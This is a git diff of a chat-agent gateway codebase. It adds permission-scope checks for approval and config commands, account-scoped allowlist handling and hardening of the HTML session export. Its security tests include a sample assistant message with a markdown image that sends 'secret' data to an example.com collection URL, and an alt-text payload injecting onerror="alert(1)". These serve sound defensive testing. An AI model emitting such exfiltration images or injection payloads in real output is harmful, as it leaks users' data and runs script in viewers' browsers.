allowTextCo } if (shouldTouchStore) { - if (parsed.action === "add") { - await addChannelAllowFromStoreEntry({ channel: channelId, entry: parsed.entry }); - } else if (parsed.action === "remove") { - await removeChannelAllowFromStoreEntry({ channel: channelId, entry: parsed.entry }); - } + await updatePairingStoreAllowlist({ + action: parsed.action, + channelId, + accountId, + entry: parsed.entry, + }); } const actionLabel = parsed.action === "add" ? "added" : "removed"; @@ -727,11 +753,12 @@ export const handleAllowlistCommand: CommandHandler = async (params, allowTextCo }; } - if (parsed.action === "add") { - await addChannelAllowFromStoreEntry({ channel: channelId, entry: parsed.entry }); - } else if (parsed.action === "remove") { - await removeChannelAllowFromStoreEntry({ channel: channelId, entry: parsed.entry }); - } + await updatePairingStoreAllowlist({ + action: parsed.action, + channelId, + accountId, + entry: parsed.entry, + }); const actionLabel = parsed.action === "add" ? "added" : "removed"; const scopeLabel = scope === "dm" ? "DM" : "group"; diff --git a/src/auto-reply/reply/commands-approve.ts b/src/auto-reply/reply/commands-approve.ts index 42e5b30a341..9773ba03ad5 100644 --- a/src/auto-reply/reply/commands-approve.ts +++ b/src/auto-reply/reply/commands-approve.ts @@ -1,10 +1,7 @@ import { callGateway } from "../../gateway/call.js"; import { logVerbose } from "../../globals.js"; -import { - GATEWAY_CLIENT_MODES, - GATEWAY_CLIENT_NAMES, - isInternalMessageChannel, -} from "../../utils/message-channel.js"; +import { GATEWAY_CLIENT_MODES, GATEWAY_CLIENT_NAMES } from "../../utils/message-channel.js"; +import { requireGatewayClientScopeForInternalChannel } from "./command-gates.js"; import type { CommandHandler } from "./commands-types.js"; const COMMAND = "/approve"; @@ -86,18 +83,13 @@ export const handleApproveCommand: CommandHandler = async (params, allowTextComm return { shouldContinue: false, reply: { text: parsed.error } }; } - if (isInternalMessageChannel(params.command.channel)) { - const scopes = params.ctx.GatewayClientScopes ?? []; - const hasApprovals = scopes.includes("operator.approvals") || scopes.includes("operator.admin"); - if (!hasApprovals) { - logVerbose("Ignoring /approve from gateway client missing operator.approvals."); - return { - shouldContinue: false, - reply: { - text: "❌ /approve requires operator.approvals for gateway clients.", - }, - }; - } + const missingScope = requireGatewayClientScopeForInternalChannel(params, { + label: "/approve", + allowedScopes: ["operator.approvals", "operator.admin"], + missingText: "❌ /approve requires operator.approvals for gateway clients.", + }); + if (missingScope) { + return missingScope; } const resolvedBy = buildResolvedByLabel(params); diff --git a/src/auto-reply/reply/commands-config.ts b/src/auto-reply/reply/commands-config.ts index e8d04b160db..00ef8048efe 100644 --- a/src/auto-reply/reply/commands-config.ts +++ b/src/auto-reply/reply/commands-config.ts @@ -17,7 +17,11 @@ import { setConfigOverride, unsetConfigOverride, } from "../../config/runtime-overrides.js"; -import { rejectUnauthorizedCommand, requireCommandFlagEnabled } from "./command-gates.js"; +import { + rejectUnauthorizedCommand, + requireCommandFlagEnabled, + requireGatewayClientScopeForInternalChannel, +} from "./command-gates.js"; import type { CommandHandler } from "./commands-types.js"; import { parseConfigCommand } from "./config-commands.js"; import { parseDebugCommand } from "./debug-commands.js"; @@ -49,6 +53,14 @@ export const handleConfigCommand: CommandHandler = async (params, allowTextComma } if (configCommand.action === "set" || configCommand.action === "unset") { + const missingAdminScope = requireGatewayClientScopeForInternalChannel(params, { + label: "/config write", + allowedScopes: ["operator.admin"], + missingText: "❌ /config set|unset requires operator.admin for gateway clients.", + }); + if (missingAdminScope) { + return missingAdminScope; + } const channelId = params.command.channelId ?? normalizeChannelId(params.command.channel); const allowWrites = resolveChannelConfigWrites({ cfg: params.cfg, diff --git a/src/auto-reply/reply/commands-models.ts b/src/auto-reply/reply/commands-models.ts index c4e3bc944c9..c23e6d851b2 100644 --- a/src/auto-reply/reply/commands-models.ts +++ b/src/auto-reply/reply/commands-models.ts @@ -1,12 +1,11 @@ import { resolveAgentDir, resolveSessionAgentId } from "../../agents/agent-scope.js"; -import { DEFAULT_MODEL, DEFAULT_PROVIDER } from "../../agents/defaults.js"; import { resolveModelAuthLabel } from "../../agents/model-auth-label.js"; import { loadModelCatalog } from "../../agents/model-catalog.js"; import { buildAllowedModelSet, buildModelAliasIndex, normalizeProviderId, - resolveConfiguredModelRef, + resolveDefaultModelForAgent, resolveModelRefFromString, } from "../../agents/model-selection.js"; import type { OpenClawConfig } from "../../config/config.js"; @@ -35,11 +34,13 @@ export type ModelsProviderData = { * Build provider/model data from config and catalog. * Exported for reuse by callback handlers. */ -export async function buildModelsProviderData(cfg: OpenClawConfig): Promise { - const resolvedDefault = resolveConfiguredModelRef({ +export async function buildModelsProviderData( + cfg: OpenClawConfig, + agentId?: string, +): Promise { + const resolvedDefault = resolveDefaultModelForAgent({ cfg, - defaultProvider: DEFAULT_PROVIDER, - defaultModel: DEFAULT_MODEL, + agentId, }); const catalog = await loadModelCatalog({ config: cfg }); @@ -220,6 +221,7 @@ export async function resolveModelsCommandReply(params: { commandBodyNormalized: string; surface?: string; currentModel?: string; + agentId?: string; agentDir?: string; sessionEntry?: SessionEntry; }): Promise { @@ -231,7 +233,7 @@ export async function resolveModelsCommandReply(params: { const argText = body.replace(/^\/models\b/i, "").trim(); const { provider, page, pageSize, all } = parseModelsArgs(argText); - const { byProvider, providers } = await buildModelsProviderData(params.cfg); + const { byProvider, providers } = await buildModelsProviderData(params.cfg, params.agentId); const isTelegram = params.surface === "telegram"; // Provider list (no provider specified) @@ -386,6 +388,7 @@ export const handleModelsCommand: CommandHandler = async (params, allowTextComma commandBodyNormalized, surface: params.ctx.Surface, currentModel: params.model ? `${params.provider}/${params.model}` : undefined, + agentId: modelsAgentId, agentDir: modelsAgentDir, sessionEntry: params.sessionEntry, }); diff --git a/src/auto-reply/reply/commands.test.ts b/src/auto-reply/reply/commands.test.ts index cbf09485721..2c05690ebd0 100644 --- a/src/auto-reply/reply/commands.test.ts +++ b/src/auto-reply/reply/commands.test.ts @@ -13,6 +13,7 @@ import { updateSessionStore, type SessionEntry } from "../../config/sessions.js" import * as internalHooks from "../../hooks/internal-hooks.js"; import { clearPluginCommands, registerPluginCommand } from "../../plugins/commands.js"; import { typedCases } from "../../test-utils/typed-cases.js"; +import { INTERNAL_MESSAGE_CHANNEL } from "../../utils/message-channel.js"; import type { MsgContext } from "../templating.js"; import { resetBashChatCommandForTests } from "./bash-command.js"; import { handleCompactCommand } from "./commands-compact.js"; @@ -590,6 +591,64 @@ describe("handleCommands /config configWrites gating", () => { expect(result.shouldContinue).toBe(false); expect(result.reply?.text).toContain("Config writes are disabled"); }); + + it("blocks /config set from gateway clients without operator.admin", async () => { + const cfg = { + commands: { config: true, text: true }, + } as OpenClawConfig; + const params = buildParams('/config set messages.ackReaction=":)"', cfg, { + Provider: INTERNAL_MESSAGE_CHANNEL, + Surface: INTERNAL_MESSAGE_CHANNEL, + GatewayClientScopes: ["operator.write"], + }); + params.command.channel = INTERNAL_MESSAGE_CHANNEL; + const result = await handleCommands(params); + expect(result.shouldContinue).toBe(false); + expect(result.reply?.text).toContain("requires operator.admin"); + }); + + it("keeps /config show available to gateway operator.write clients", async () => { + const cfg = { + commands: { config: true, text: true }, + } as OpenClawConfig; + readConfigFileSnapshotMock.mockResolvedValueOnce({ + valid: true, + parsed: { messages: { ackreaction: ":)" } }, + }); + const params = buildParams("/config show messages.ackReaction", cfg, { + Provider: INTERNAL_MESSAGE_CHANNEL, + Surface: INTERNAL_MESSAGE_CHANNEL, + GatewayClientScopes: ["operator.write"], + }); + params.command.channel = INTERNAL_MESSAGE_CHANNEL; + const result = await handleCommands(params); + expect(result.shouldContinue).toBe(false); + expect(result.reply?.text).toContain("Config messages.ackreaction"); + }); + + it("keeps /config set working for gateway operator.admin clients", async () => { + const cfg = { + commands: { config: true, text: true }, + } as OpenClawConfig; + readConfigFileSnapshotMock.mockResolvedValueOnce({ + valid: true, + parsed: { messages: { ackReaction: ":)" } }, + }); + validateConfigObjectWithPluginsMock.mockImplementation((config: unknown) => ({ + ok: true, + config, + })); + const params = buildParams('/config set messages.ackReaction=":D"', cfg, { + Provider: INTERNAL_MESSAGE_CHANNEL, + Surface: INTERNAL_MESSAGE_CHANNEL, + GatewayClientScopes: ["operator.write", "operator.admin"], + }); + params.command.channel = INTERNAL_MESSAGE_CHANNEL; + const result = await handleCommands(params); + expect(result.shouldContinue).toBe(false); + expect(writeConfigFileMock).toHaveBeenCalledOnce(); + expect(result.reply?.text).toContain("Config updated"); + }); }); describe("handleCommands bash alias", () => { @@ -704,10 +763,74 @@ describe("handleCommands /allowlist", () => { expect(addChannelAllowFromStoreEntryMock).toHaveBeenCalledWith({ channel: "telegram", entry: "789", + accountId: "default", }); expect(result.reply?.text).toContain("DM allowlist added"); }); + it("writes store entries to the selected account scope", async () => { + readConfigFileSnapshotMock.mockResolvedValueOnce({ + valid: true, + parsed: { + channels: { telegram: { accounts: { work: { allowFrom: ["123"] } } } }, + }, + }); + validateConfigObjectWithPluginsMock.mockImplementation((config: unknown) => ({ + ok: true, + config, + })); + addChannelAllowFromStoreEntryMock.mockResolvedValueOnce({ + changed: true, + allowFrom: ["123", "789"], + }); + + const cfg = { + commands: { text: true, config: true }, + channels: { telegram: { accounts: { work: { allowFrom: ["123"] } } } }, + } as OpenClawConfig; + const params = buildPolicyParams("/allowlist add dm --account work 789", cfg, { + AccountId: "work", + }); + const result = await handleCommands(params); + + expect(result.shouldContinue).toBe(false); + expect(addChannelAllowFromStoreEntryMock).toHaveBeenCalledWith({ + channel: "telegram", + entry: "789", + accountId: "work", + }); + }); + + it("removes default-account entries from scoped and legacy pairing stores", async () => { + removeChannelAllowFromStoreEntryMock + .mockResolvedValueOnce({ + changed: true, + allowFrom: [], + }) + .mockResolvedValueOnce({ + changed: true, + allowFrom: [], + }); + + const cfg = { + commands: { text: true, config: true }, + channels: { telegram: { allowFrom: ["123"] } }, + } as OpenClawConfig; + const params = buildPolicyParams("/allowlist remove dm --store 789", cfg); + const result = await handleCommands(params); + + expect(result.shouldContinue).toBe(false); + expect(removeChannelAllowFromStoreEntryMock).toHaveBeenNthCalledWith(1, { + channel: "telegram", + entry: "789", + accountId: "default", + }); + expect(removeChannelAllowFromStoreEntryMock).toHaveBeenNthCalledWith(2, { + channel: "telegram", + entry: "789", + }); + }); + it("rejects blocked account ids and keeps Object.prototype clean", async () => { delete (Object.prototype as Record).allowFrom; @@ -907,6 +1030,28 @@ describe("/models command", () => { expect(result.reply?.text).toContain("localai/ultra-chat"); expect(result.reply?.text).not.toContain("Unknown provider"); }); + + it("threads the routed agent through /models replies", async () => { + const scopedCfg = { + commands: { text: true }, + agents: { + defaults: { model: { primary: "anthropic/claude-opus-4-5" } }, + list: [{ id: "support", model: "localai/ultra-chat" }], + }, + } as unknown as OpenClawConfig; + const params = buildPolicyParams("/models", scopedCfg, { + Provider: "discord", + Surface: "discord", + }); + + const result = await handleCommands({ + ...params, + agentId: "support", + sessionKey: "agent:support:main", + }); + + expect(result.reply?.text).toContain("localai"); + }); }); describe("handleCommands plugin commands", () => { diff --git a/src/auto-reply/reply/dispatch-from-config.ts b/src/auto-reply/reply/dispatch-from-config.ts index 003a8f37435..786b1a7c16b 100644 --- a/src/auto-reply/reply/dispatch-from-config.ts +++ b/src/auto-reply/reply/dispatch-from-config.ts @@ -1,6 +1,11 @@ import { resolveSessionAgentId } from "../../agents/agent-scope.js"; import type { OpenClawConfig } from "../../config/config.js"; -import { loadSessionStore, resolveStorePath, type SessionEntry } from "../../config/sessions.js"; +import { + loadSessionStore, + resolveSessionStoreEntry, + resolveStorePath, + type SessionEntry, +} from "../../config/sessions.js"; import { logVerbose } from "../../globals.js"; import { fireAndForgetHook } from "../../hooks/fire-and-forget.js"; import { createInternalHookEvent, triggerInternalHook } from "../../hooks/internal-hooks.js"; @@ -65,7 +70,7 @@ const isInboundAudioContext = (ctx: FinalizedMsgContext): boolean => { return AUDIO_HEADER_RE.test(trimmed); }; -const resolveSessionStoreEntry = ( +const resolveSessionStoreLookup = ( ctx: FinalizedMsgContext, cfg: OpenClawConfig, ): { @@ -84,7 +89,7 @@ const resolveSessionStoreEntry = ( const store = loadSessionStore(storePath); return { sessionKey, - entry: store[sessionKey.toLowerCase()] ?? store[sessionKey], + entry: resolveSessionStoreEntry({ store, sessionKey }).existing, }; } catch { return { @@ -164,7 +169,7 @@ export async function dispatchReplyFromConfig(params: { return { queuedFinal: false, counts: dispatcher.getQueuedCounts() }; } - const sessionStoreEntry = resolveSessionStoreEntry(ctx, cfg); + const sessionStoreEntry = resolveSessionStoreLookup(ctx, cfg); const acpDispatchSessionKey = sessionStoreEntry.sessionKey ?? sessionKey; const inboundAudio = isInboundAudioContext(ctx); const sessionTtsAuto = normalizeTtsAutoMode(sessionStoreEntry.entry?.ttsAuto); diff --git a/src/auto-reply/reply/export-html/template.js b/src/auto-reply/reply/export-html/template.js index 565eeda7f65..da12d2625cf 100644 --- a/src/auto-reply/reply/export-html/template.js +++ b/src/auto-reply/reply/export-html/template.js @@ -665,6 +665,10 @@ return div.innerHTML; } + function escapeHtmlAttr(text) { + return escapeHtml(text).replaceAll('"', """).replaceAll("'", "'"); + } + // Validate image fields before interpolating data URLs. const SAFE_IMAGE_MIME_RE = /^image\/(png|jpeg|gif|webp|svg\+xml|bmp|tiff|avif)$/i; const SAFE_BASE64_RE = /^[A-Za-z0-9+/]+={0,2}$/; @@ -1712,6 +1716,22 @@ return text.replace(/<(?=[a-zA-Z/])/g, "<"); } + const INLINE_DATA_IMAGE_RE = /^data:image\/[a-z0-9.+-]+;base64,/i; + + function normalizeMarkdownImageLabel(text) { + const trimmed = typeof text === "string" ? text.trim() : ""; + return trimmed || "image"; + } + + function renderMarkdownImage(token) { + const label = normalizeMarkdownImageLabel(token?.text); + const href = typeof token?.href === "string" ? token.href.trim() : ""; + if (!INLINE_DATA_IMAGE_RE.test(href)) { + return escapeHtml(label); + } + return `${escapeHtmlAttr(label)}`; + } + // Configure marked with syntax highlighting and HTML escaping for text marked.use({ breaks: true, @@ -1750,6 +1770,9 @@ html(token) { return escapeHtml(token.text); }, + image(token) { + return renderMarkdownImage(token); + }, }, }); diff --git a/src/auto-reply/reply/export-html/template.security.test.ts b/src/auto-reply/reply/export-html/template.security.test.ts index 2837df7036b..9a42fd22337 100644 --- a/src/auto-reply/reply/export-html/template.security.test.ts +++ b/src/auto-reply/reply/export-html/template.security.test.ts @@ -250,4 +250,72 @@ describe("export html security hardening", () => { expect(img?.getAttribute("onerror")).toBeNull(); expect(img?.getAttribute("src")).toBe("data:application/octet-stream;base64,AAAA"); }); + + it("flattens remote markdown images but keeps data-image markdown", () => { + const dataImage = "data:image/png;base64,AAAA"; + const session: SessionData = { + header: { id: "session-4", timestamp: now() }, + entries: [ + { + id: "1", + parentId: null, + timestamp: now(), + type: "message", + message: { + role: "assistant", + content: [ + { + type: "text", + text: `Leak:\n\n![exfil](https://example.com/collect?data=secret)\n\n![pixel](${dataImage})`, + }, + ], + }, + }, + ], + leafId: "1", + systemPrompt: "", + tools: [], + }; + + const { document } = renderTemplate(session); + const messages = document.getElementById("messages"); + expect(messages).toBeTruthy(); + expect(messages?.querySelector('img[src^="https://"]')).toBeNull(); + expect(messages?.textContent).toContain("exfil"); + expect(messages?.querySelector(`img[src="${dataImage}"]`)).toBeTruthy(); + }); + + it("escapes markdown data-image attributes", () => { + const dataImage = "data:image/png;base64,AAAA"; + const session: SessionData = { + header: { id: "session-5", timestamp: now() }, + entries: [ + { + id: "1", + parentId: null, + timestamp: now(), + type: "message", + message: { + role: "assistant", + content: [ + { + type: "text", + text: `![x" onerror="alert(1)](${dataImage})`, + }, + ], + }, + }, + ], + leafId: "1", + systemPrompt: "", + tools: [], + }; + + const { document } = renderTemplate(session); + const img = document.querySelector("#messages img"); + expect(img).toBeTruthy(); + expect(img?.getAttribute("onerror")).toBeNull(); + expect(img?.getAttribute("alt")).toBe('x" onerror="alert(1)'); + expect(img?.getAttribute("src")).toBe(dataImage); + }); }); diff --git a/src/auto-reply/reply/followup-runner.ts b/src/auto-reply/reply/followup-runner.ts index 7838a83bc4d..91e78138102 100644 --- a/src/auto-reply/reply/followup-runner.ts +++ b/src/auto-reply/reply/followup-runner.ts @@ -208,7 +208,7 @@ export function createFollowupRunner(params: { bashElevated: queued.run.bashElevated, timeoutMs: queued.run.timeoutMs, runId, - allowRateLimitCooldownProbe: runOptions?.allowRateLimitCooldownProbe, + allowTransientCooldownProbe: runOptions?.allowTransientCooldownProbe, blockReplyBreak: queued.run.blockReplyBreak, bootstrapPromptWarningSignaturesSeen, bootstrapPromptWarningSignature: diff --git a/src/auto-reply/reply/get-reply.message-hooks.test.ts b/src/auto-reply/reply/get-reply.message-hooks.test.ts index c10604a9fd2..90ccab2a207 100644 --- a/src/auto-reply/reply/get-reply.message-hooks.test.ts +++ b/src/auto-reply/reply/get-reply.message-hooks.test.ts @@ -1,5 +1,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { MsgContext } from "../templating.js"; +import { registerGetReplyCommonMocks } from "./get-reply.test-mocks.js"; const mocks = vi.hoisted(() => ({ applyMediaUnderstanding: vi.fn(async (..._args: unknown[]) => undefined), @@ -10,28 +11,8 @@ const mocks = vi.hoisted(() => ({ initSessionState: vi.fn(), })); -vi.mock("../../agents/agent-scope.js", () => ({ - resolveAgentDir: vi.fn(() => "/tmp/agent"), - resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), - resolveSessionAgentId: vi.fn(() => "main"), - resolveAgentSkillsFilter: vi.fn(() => undefined), -})); -vi.mock("../../agents/model-selection.js", () => ({ - resolveModelRefFromString: vi.fn(() => null), -})); -vi.mock("../../agents/timeout.js", () => ({ - resolveAgentTimeoutMs: vi.fn(() => 60000), -})); -vi.mock("../../agents/workspace.js", () => ({ - DEFAULT_AGENT_WORKSPACE_DIR: "/tmp/workspace", - ensureAgentWorkspace: vi.fn(async () => ({ dir: "/tmp/workspace" })), -})); -vi.mock("../../channels/model-overrides.js", () => ({ - resolveChannelModelOverride: vi.fn(() => undefined), -})); -vi.mock("../../config/config.js", () => ({ - loadConfig: vi.fn(() => ({})), -})); +registerGetReplyCommonMocks(); + vi.mock("../../globals.js", () => ({ logVerbose: vi.fn(), })); @@ -45,55 +26,18 @@ vi.mock("../../link-understanding/apply.js", () => ({ vi.mock("../../media-understanding/apply.js", () => ({ applyMediaUnderstanding: mocks.applyMediaUnderstanding, })); -vi.mock("../../runtime.js", () => ({ - defaultRuntime: { log: vi.fn() }, -})); -vi.mock("../command-auth.js", () => ({ - resolveCommandAuthorization: vi.fn(() => ({ isAuthorizedSender: true })), -})); vi.mock("./commands-core.js", () => ({ emitResetCommandHooks: vi.fn(async () => undefined), })); -vi.mock("./directive-handling.js", () => ({ - resolveDefaultModel: vi.fn(() => ({ - defaultProvider: "openai", - defaultModel: "gpt-4o-mini", - aliasIndex: new Map(), - })), -})); vi.mock("./get-reply-directives.js", () => ({ resolveReplyDirectives: mocks.resolveReplyDirectives, })); vi.mock("./get-reply-inline-actions.js", () => ({ handleInlineActions: vi.fn(async () => ({ kind: "reply", reply: { text: "ok" } })), })); -vi.mock("./get-reply-run.js", () => ({ - runPreparedReply: vi.fn(async () => undefined), -})); -vi.mock("./inbound-context.js", () => ({ - finalizeInboundContext: vi.fn((ctx: unknown) => ctx), -})); -vi.mock("./session-reset-model.js", () => ({ - applyResetModelOverride: vi.fn(async () => undefined), -})); vi.mock("./session.js", () => ({ initSessionState: mocks.initSessionState, })); -vi.mock("./stage-sandbox-media.js", () => ({ - stageSandboxMedia: vi.fn(async () => undefined), -})); -vi.mock("./typing.js", () => ({ - createTypingController: vi.fn(() => ({ - onReplyStart: async () => undefined, - startTypingLoop: async () => undefined, - startTypingOnText: async () => undefined, - refreshTypingTtl: () => undefined, - isActive: () => false, - markRunComplete: () => undefined, - markDispatchIdle: () => undefined, - cleanup: () => undefined, - })), -})); const { getReplyFromConfig } = await import("./get-reply.js"); diff --git a/src/auto-reply/reply/get-reply.reset-hooks-fallback.test.ts b/src/auto-reply/reply/get-reply.reset-hooks-fallback.test.ts index 7b5869a5801..110b46af476 100644 --- a/src/auto-reply/reply/get-reply.reset-hooks-fallback.test.ts +++ b/src/auto-reply/reply/get-reply.reset-hooks-fallback.test.ts @@ -1,5 +1,6 @@ import { beforeEach, describe, expect, it, vi } from "vitest"; import type { MsgContext } from "../templating.js"; +import { registerGetReplyCommonMocks } from "./get-reply.test-mocks.js"; const mocks = vi.hoisted(() => ({ resolveReplyDirectives: vi.fn(), @@ -8,83 +9,26 @@ const mocks = vi.hoisted(() => ({ initSessionState: vi.fn(), })); -vi.mock("../../agents/agent-scope.js", () => ({ - resolveAgentDir: vi.fn(() => "/tmp/agent"), - resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), - resolveSessionAgentId: vi.fn(() => "main"), - resolveAgentSkillsFilter: vi.fn(() => undefined), -})); -vi.mock("../../agents/model-selection.js", () => ({ - resolveModelRefFromString: vi.fn(() => null), -})); -vi.mock("../../agents/timeout.js", () => ({ - resolveAgentTimeoutMs: vi.fn(() => 60000), -})); -vi.mock("../../agents/workspace.js", () => ({ - DEFAULT_AGENT_WORKSPACE_DIR: "/tmp/workspace", - ensureAgentWorkspace: vi.fn(async () => ({ dir: "/tmp/workspace" })), -})); -vi.mock("../../channels/model-overrides.js", () => ({ - resolveChannelModelOverride: vi.fn(() => undefined), -})); -vi.mock("../../config/config.js", () => ({ - loadConfig: vi.fn(() => ({})), -})); +registerGetReplyCommonMocks(); + vi.mock("../../link-understanding/apply.js", () => ({ applyLinkUnderstanding: vi.fn(async () => undefined), })); vi.mock("../../media-understanding/apply.js", () => ({ applyMediaUnderstanding: vi.fn(async () => undefined), })); -vi.mock("../../runtime.js", () => ({ - defaultRuntime: { log: vi.fn() }, -})); -vi.mock("../command-auth.js", () => ({ - resolveCommandAuthorization: vi.fn(() => ({ isAuthorizedSender: true })), -})); vi.mock("./commands-core.js", () => ({ emitResetCommandHooks: (...args: unknown[]) => mocks.emitResetCommandHooks(...args), })); -vi.mock("./directive-handling.js", () => ({ - resolveDefaultModel: vi.fn(() => ({ - defaultProvider: "openai", - defaultModel: "gpt-4o-mini", - aliasIndex: new Map(), - })), -})); vi.mock("./get-reply-directives.js", () => ({ resolveReplyDirectives: (...args: unknown[]) => mocks.resolveReplyDirectives(...args), })); vi.mock("./get-reply-inline-actions.js", () => ({ handleInlineActions: (...args: unknown[]) => mocks.handleInlineActions(...args), })); -vi.mock("./get-reply-run.js", () => ({ - runPreparedReply: vi.fn(async () => undefined), -})); -vi.mock("./inbound-context.js", () => ({ - finalizeInboundContext: vi.fn((ctx: unknown) => ctx), -})); -vi.mock("./session-reset-model.js", () => ({ - applyResetModelOverride: vi.fn(async () => undefined), -})); vi.mock("./session.js", () => ({ initSessionState: (...args: unknown[]) => mocks.initSessionState(...args), })); -vi.mock("./stage-sandbox-media.js", () => ({ - stageSandboxMedia: vi.fn(async () => undefined), -})); -vi.mock("./typing.js", () => ({ - createTypingController: vi.fn(() => ({ - onReplyStart: async () => undefined, - startTypingLoop: async () => undefined, - startTypingOnText: async () => undefined, - refreshTypingTtl: () => undefined, - isActive: () => false, - markRunComplete: () => undefined, - markDispatchIdle: () => undefined, - cleanup: () => undefined, - })), -})); const { getReplyFromConfig } = await import("./get-reply.js"); diff --git a/src/auto-reply/reply/get-reply.test-mocks.ts b/src/auto-reply/reply/get-reply.test-mocks.ts new file mode 100644 index 00000000000..8a73dea7cff --- /dev/null +++ b/src/auto-reply/reply/get-reply.test-mocks.ts @@ -0,0 +1,63 @@ +import { vi } from "vitest"; + +export function registerGetReplyCommonMocks(): void { + vi.mock("../../agents/agent-scope.js", () => ({ + resolveAgentDir: vi.fn(() => "/tmp/agent"), + resolveAgentWorkspaceDir: vi.fn(() => "/tmp/workspace"), + resolveSessionAgentId: vi.fn(() => "main"), + resolveAgentSkillsFilter: vi.fn(() => undefined), + })); + vi.mock("../../agents/model-selection.js", () => ({ + resolveModelRefFromString: vi.fn(() => null), + })); + vi.mock("../../agents/timeout.js", () => ({ + resolveAgentTimeoutMs: vi.fn(() => 60000), + })); + vi.mock("../../agents/workspace.js", () => ({ + DEFAULT_AGENT_WORKSPACE_DIR: "/tmp/workspace", + ensureAgentWorkspace: vi.fn(async () => ({ dir: "/tmp/workspace" })), + })); + vi.mock("../../channels/model-overrides.js", () => ({ + resolveChannelModelOverride: vi.fn(() => undefined), + })); + vi.mock("../../config/config.js", () => ({ + loadConfig: vi.fn(() => ({})), + })); + vi.mock("../../runtime.js", () => ({ + defaultRuntime: { log: vi.fn() }, + })); + vi.mock("../command-auth.js", () => ({ + resolveCommandAuthorization: vi.fn(() => ({ isAuthorizedSender: true })), + })); + vi.mock("./directive-handling.js", () => ({ + resolveDefaultModel: vi.fn(() => ({ + defaultProvider: "openai", + defaultModel: "gpt-4o-mini", + aliasIndex: new Map(), + })), + })); + vi.mock("./get-reply-run.js", () => ({ + runPreparedReply: vi.fn(async () => undefined), + })); + vi.mock("./inbound-context.js", () => ({ + finalizeInboundContext: vi.fn((ctx: unknown) => ctx), + })); + vi.mock("./session-reset-model.js", () => ({ + applyResetModelOverride: vi.fn(async () => undefined), + })); + vi.mock("./stage-sandbox-media.js", () => ({ + stageSandboxMedia: vi.fn(async () => undefined), + })); + vi.mock("./typing.js", () => ({ + createTypingController: vi.fn(() => ({ + onReplyStart: async () => undefined, + startTypingLoop: async () => undefined, + startTypingOnText: async () => undefined, + refreshTypingTtl: () => undefined, + isActive: () => false, + markRunComplete: () => undefined, + markDispatchIdle: () => undefined, + cleanup: () => undefined, + })), + })); +} diff --git a/src/auto-reply/reply/groups.ts b/src/auto-reply/reply/groups.ts index 8176499899d..dcf398d5a4b 100644 --- a/src/auto-reply/reply/groups.ts +++ b/src/auto-reply/reply/groups.ts @@ -1,6 +1,11 @@ import { getChannelDock } from "../../channels/dock.js"; -import { getChannelPlugin, normalizeChannelId } from "../../channels/plugins/index.js"; +import { + getChannelPlugin, + normalizeChannelId as normalizePluginChannelId, +} from "../../channels/plugins/index.js"; +import type { ChannelId } from "../../channels/plugins/types.js"; import type { OpenClawConfig } from "../../config/config.js"; +import { resolveChannelGroupRequireMention } from "../../config/group-policy.js"; import type { GroupKeyResolution, SessionEntry } from "../../config/sessions.js"; import { isInternalMessageChannel } from "../../utils/message-channel.js"; import { normalizeGroupActivation } from "../group-activation.js"; @@ -28,6 +33,25 @@ function extractGroupId(raw: string | undefined | null): string | undefined { return trimmed; } +function resolveDockChannelId(raw?: string | null): ChannelId | null { + const normalized = raw?.trim().toLowerCase(); + if (!normalized) { + return null; + } + try { + if (getChannelDock(normalized as ChannelId)) { + return normalized as ChannelId; + } + } catch { + // Plugin registry may not be initialized in shared/test contexts. + } + try { + return normalizePluginChannelId(raw) ?? (normalized as ChannelId); + } catch { + return normalized as ChannelId; + } +} + export function resolveGroupRequireMention(params: { cfg: OpenClawConfig; ctx: TemplateContext; @@ -35,24 +59,34 @@ export function resolveGroupRequireMention(params: { }): boolean { const { cfg, ctx, groupResolution } = params; const rawChannel = groupResolution?.channel ?? ctx.Provider?.trim(); - const channel = normalizeChannelId(rawChannel); + const channel = resolveDockChannelId(rawChannel); if (!channel) { return true; } const groupId = groupResolution?.id ?? extractGroupId(ctx.From); const groupChannel = ctx.GroupChannel?.trim() ?? ctx.GroupSubject?.trim(); const groupSpace = ctx.GroupSpace?.trim(); - const requireMention = getChannelDock(channel)?.groups?.resolveRequireMention?.({ - cfg, - groupId, - groupChannel, - groupSpace, - accountId: ctx.AccountId, - }); + let requireMention: boolean | undefined; + try { + requireMention = getChannelDock(channel)?.groups?.resolveRequireMention?.({ + cfg, + groupId, + groupChannel, + groupSpace, + accountId: ctx.AccountId, + }); + } catch { + requireMention = undefined; + } if (typeof requireMention === "boolean") { return requireMention; } - return true; + return resolveChannelGroupRequireMention({ + cfg, + channel, + groupId, + accountId: ctx.AccountId, + }); } export function defaultGroupActivation(requireMention: boolean): "always" | "mention" { @@ -70,7 +104,7 @@ function resolveProviderLabel(rawProvider: string | undefined): string { if (isInternalMessageChannel(providerKey)) { return "WebChat"; } - const providerId = normalizeChannelId(rawProvider?.trim()); + const providerId = resolveDockChannelId(rawProvider?.trim()); if (providerId) { return getChannelPlugin(providerId)?.meta.label ?? providerId; } @@ -114,7 +148,7 @@ export function buildGroupIntro(params: { const activation = normalizeGroupActivation(params.sessionEntry?.groupActivation) ?? params.defaultActivation; const rawProvider = params.sessionCtx.Provider?.trim(); - const providerId = normalizeChannelId(rawProvider); + const providerId = resolveDockChannelId(rawProvider); const activationLine = activation === "always" ? "Activation: always-on (you receive every group message)." diff --git a/src/auto-reply/reply/post-compaction-context.test.ts b/src/auto-reply/reply/post-compaction-context.test.ts index 34da43f2e7e..0c97df4d50b 100644 --- a/src/auto-reply/reply/post-compaction-context.test.ts +++ b/src/auto-reply/reply/post-compaction-context.test.ts @@ -228,56 +228,162 @@ Read WORKFLOW.md on startup. expect(result).toContain("Current time:"); }); - it("falls back to legacy section names (Every Session / Safety)", async () => { - const content = `# Rules + // ------------------------------------------------------------------------- + // postCompactionSections config + // ------------------------------------------------------------------------- + describe("agents.defaults.compaction.postCompactionSections", () => { + it("uses default sections (Session Startup + Red Lines) when config is not set", async () => { + const content = `## Session Startup\n\nDo startup.\n\n## Red Lines\n\nDo not break.\n\n## Other\n\nIgnore.\n`; + fs.writeFileSync(path.join(tmpDir, "AGENTS.md"), content); + const result = await readPostCompactionContext(tmpDir); + expect(result).toContain("Session Startup"); + expect(result).toContain("Red Lines"); + expect(result).not.toContain("Other"); + }); -## Every Session + it("uses custom section names from config instead of defaults", async () => { + const content = `## Session Startup\n\nDo startup.\n\n## Critical Rules\n\nMy custom rules.\n\n## Red Lines\n\nDefault 